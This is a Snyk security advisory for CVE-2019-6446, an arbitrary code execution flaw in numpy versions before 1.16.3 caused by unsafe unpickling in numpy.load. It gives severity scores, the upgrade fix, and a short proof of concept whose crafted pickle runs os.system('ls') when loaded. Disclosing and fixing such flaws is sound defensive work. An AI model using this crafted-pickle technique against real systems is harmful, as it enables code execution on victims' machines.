Arbitrary Code Execution Affecting numpy package, versions [0,1.16.3)
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
6.65% (94th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-NUMPY-73513
- published 16 Jan 2019
- disclosed 16 Jan 2019
- credit nanshihui
Introduced: 16 Jan 2019
CVE-2019-6446 Open this link in a new tabHow to fix?
Upgrade numpy
to version 1.16.3 or higher.
Overview
numpy is a fundamental package needed for scientific computing with Python.
Affected versions of this package are vulnerable to Arbitrary Code Execution. It uses the pickle Python module unsafely, which allows remote attackers to execute arbitrary code via a crafted serialized object, as demonstrated by a numpy.load
call.
PoC by nanshihui:
import numpy
from numpy import __version__
print __version__
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,('ls',))
tmpdaa = Test()
with open("a-file.pickle",'wb') as f:
pickle.dump(tmpdaa,f)
numpy.load('a-file.pickle')